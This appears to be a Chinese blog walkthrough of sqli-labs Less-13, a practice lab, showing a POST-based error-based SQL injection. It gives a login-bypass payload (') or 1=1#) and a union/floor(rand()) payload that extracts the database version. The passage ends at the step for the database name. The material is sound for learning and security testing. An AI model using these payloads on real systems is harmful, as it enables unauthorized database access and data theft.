sqli-labs Less-13

最新推荐文章于 2024-03-18 09:04:17 发布

S1xTwe1ve

最新推荐文章于 2024-03-18 09:04:17 发布

阅读量156

点赞数

分类专栏： sqli-labs

本文链接：https://blog.csdn.net/qq_42630215/article/details/105139414

版权

本文主要探讨了sqli-labs的Less-13挑战，涉及POST方法下的双注入问题，重点讲解如何利用单引号闭合进行SQL注入攻击。内容包括获取数据库版本、数据库名称、表名、字段名、字段数量以及字段值的方法，通过调整LIMIT关键字来遍历数据。参考Less-5了解更多查询语句的解读。

摘要由CSDN通过智能技术生成

Less-13 POST -Double Injection -Single quotes -String - with twist

0x01 在这里插入图片描述

You
 have an error in your SQL syntax; check the manual that corresponds to 
your MySQL server version for the right syntax to use near '1') LIMIT 
0,1' at line 1

根据报错语句，可以用’) 闭合

uname=’) or 1=1# 在这里插入图片描述
0x02.获取数据库版本

uname= ') union select count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ') or 1=1 # &submit=Submit

在这里插入图片描述
0x03.获取数据库名称